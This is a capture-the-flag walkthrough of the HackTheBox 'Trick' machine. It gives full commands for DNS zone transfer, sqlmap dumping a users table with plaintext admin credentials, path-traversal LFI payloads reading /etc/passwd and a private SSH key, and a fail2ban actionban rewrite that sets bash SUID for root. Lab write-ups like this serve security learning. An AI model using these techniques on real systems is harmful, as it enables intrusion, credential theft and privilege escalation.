CTF Trick

  1. /etc/hosts
  2. Rustscan
  3. wfuzz
  4. Dig
  5. wfuzz
    1. directory
  6. Login page
    1. sqlmap
  7. Website 1
    1. LFI
  8. Subdomain
    1. wfuzz
  9. Website 2
    1. wfuzz
  10. sudo exploit

/etc/hosts

10.10.11.166 trick.htb

Rustscan

rustscan -a trick.htb

Output:

PORT   STATE SERVICE REASON
22/tcp open  ssh     syn-ack
25/tcp open  smtp    syn-ack
80/tcp open  http    syn-ack

wfuzz

So I’ve tried to list the directories and the subdomains, but there is nothing.
It’s not the real website, I have to dig deeper.

Dig

dig a trick.htb @trick.htb

Output:

;; communications error to 10.10.11.166#53: connection refused
;; communications error to 10.10.11.166#53: connection refused
;; communications error to 10.10.11.166#53: connection refused

; <<>> DiG 9.18.7 <<>> a trick.htb @trick.htb
;; global options: +cmd
;; no servers could be reached

the port 53 is closed, should I reset the machine ?

Lol, it was the solution.
https://stackoverflow.com/questions/131989/how-do-i-get-a-list-of-all-subdomains-of-a-domain

dig axfr trick.htb @trick.htb

preprod-payroll.trick.htb
I have to add it to /etc/hosts.

wfuzz

directory

wfuzz -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt --sc 200 'http://preprod-payroll.trick.htb/FUZZ'

Login page

There is a login page, let’s try sqlmap.

sqlmap don’t find anything, I think he need the user agent or the cookie.

Output:

curl 'http://preprod-payroll.trick.htb/ajax.php?action=login' -X POST -H 'User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:105.0) Gecko/20100101 Firefox/105.0' -H 'Accept: */*' -H 'Accept-Language: en-US,en;q=0.5' -H 'Accept-Encoding: gzip, deflate' -H 'Content-Type: application/x-www-form-urlencoded; charset=UTF-8' -H 'X-Requested-With: XMLHttpRequest' -H 'Origin: http://preprod-payroll.trick.htb' -H 'Connection: keep-alive' -H 'Referer: http://preprod-payroll.trick.htb/login.php' -H 'Cookie: PHPSESSID=vle17ll7puj0b1kblu8c40ue3r' --data-raw 'username=fgh&password=fgh'

sqlmap

Replace curl by sqlmap and add -dbs to list the databases.

Now I’m gonna list the tables in the database.

sqlmap 'http://preprod-payroll.trick.htb/ajax.php?action=login' -X POST -H 'User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:105.0) Gecko/20100101 Firefox/105.0' -H 'Accept: */*' -H 'Accept-Language: en-US,en;q=0.5' -H 'Accept-Encoding: gzip, deflate' -H 'Content-Type: application/x-www-form-urlencoded; charset=UTF-8' -H 'X-Requested-With: XMLHttpRequest' -H 'Origin: http://preprod-payroll.trick.htb' -H 'Connection: keep-alive' -H 'Referer: http://preprod-payroll.trick.htb/login.php' -H 'Cookie: PHPSESSID=vle17ll7puj0b1kblu8c40ue3r' --data-raw 'username=fgh&password=fgh' -D payroll_db --tables

Now dump the user table:

sqlmap 'http://preprod-payroll.trick.htb/ajax.php?action=login' -X POST -H 'User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:105.0) Gecko/20100101 Firefox/105.0' -H 'Accept: */*' -H 'Accept-Language: en-US,en;q=0.5' -H 'Accept-Encoding: gzip, deflate' -H 'Content-Type: application/x-www-form-urlencoded; charset=UTF-8' -H 'X-Requested-With: XMLHttpRequest' -H 'Origin: http://preprod-payroll.trick.htb' -H 'Connection: keep-alive' -H 'Referer: http://preprod-payroll.trick.htb/login.php' -H 'Cookie: PHPSESSID=vle17ll7puj0b1kblu8c40ue3r' --data-raw 'username=fgh&password=fgh' -D payroll_db -T users --dump

Output:

Database: payroll_db
Table: users
[1 entry]
+----+-----------+---------------+------+---------+---------+-----------------------+------------+
| id | doctor_id | name          | type | address | contact | password              | username   |
+----+-----------+---------------+------+---------+---------+-----------------------+------------+
| 1  | 0         | Administrator | 1    | <blank> | <blank> | SuperGucciRainbowCake | Enemigosss |
+----+-----------+---------------+------+---------+---------+-----------------------+------------+

I can use theres creds to login.

Website 1

LFI

When I saw the index.php?page= I’ve tried to exploit it with wfuzz, but didn’t found anything.

wfuzz -c -w /usr/share/wordlists/seclists/Fuzzing/LFI/LFI-LFISuite-pathtotest-huge.txt --sc 200 'http://preprod-payroll.trick.htb/index.php?page=../../../../../../../FUZZ'

If I can’t exploit it maybe there is some informations to gather.

Subdomain

wfuzz

wfuzz -c -f subdomains -w /usr/share/wordlists/wfuzz/others/subdomains.txt -u 'http://trick.htb' -H "Host: FUZZ.trick.htb" >> subdomains &

Found nothing.
The last subdomain was preprod-payroll, because it’s a preprod server.
So I should keep the word preprod and try again

wfuzz -c -f subdomains -w /usr/share/wordlists/wfuzz/others/subdomains.txt -u 'http://trick.htb' -H "Host: preprod-FUZZ.trick.htb" >> subdomains &

Now I know for what was made the last website, to find this subdomain.

Website 2

http://preprod-marketing.trick.htb

Ok, I have to add it to /etc/hosts.

And Voila.

It was made with this template: https://templatemo.com/tm-547-real-dynamic

We have few users:

Erik Morris
Michael Owen
Mary Kay
Jen Terry
Levi Moore

And again, the ?page=.

wfuzz

I wanted to try few wordlist.

wfuzz -c -w /usr/share/wordlists/seclists/Fuzzing/LFI/LFI-Jhaddix.txt --sc 200 'http://preprod-marketing.trick.htb/index.php?page=../../../../../../../FUZZ' >> fli.txt &

http://preprod-marketing.trick.htb/index.php?page=….//….//….//….//….//….//….//….//….//etc/passwd

Yeah !
michael is a user.
Let’s get the flag.
http://preprod-marketing.trick.htb/index.php?page=….//….//….//….//….//….//….//….//….//home/michael/user.txt
Now let’s grab the private ssh key.
http://preprod-marketing.trick.htb/index.php?page=….//….//….//….//….//….//….//….//….//home/michael/.ssh/id_rsa

sudo exploit

sudo -l

Output:

Matching Defaults entries for michael on trick:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User michael may run the following commands on trick:
    (root) NOPASSWD: /etc/init.d/fail2ban restart

We have to play with fail2ban, there is nothing in gtfobin.

https://youssef-ichioui.medium.com/abusing-fail2ban-misconfiguration-to-escalate-privileges-on-linux-826ad0cdafb7
I have to play with the file iptables-multiport.conf, but I can’t write in it.
So I have to copy it somewhere and move it to replace the original one.

then add the line actionban = chmod u+s /bin/bash in the file iptables-multiport.conf.
Reboot the service with sudo /etc/init.d/fail2ban restart
Try to login 5 times via ssh without the private key and without a password.
Now you can use bash -p to become root.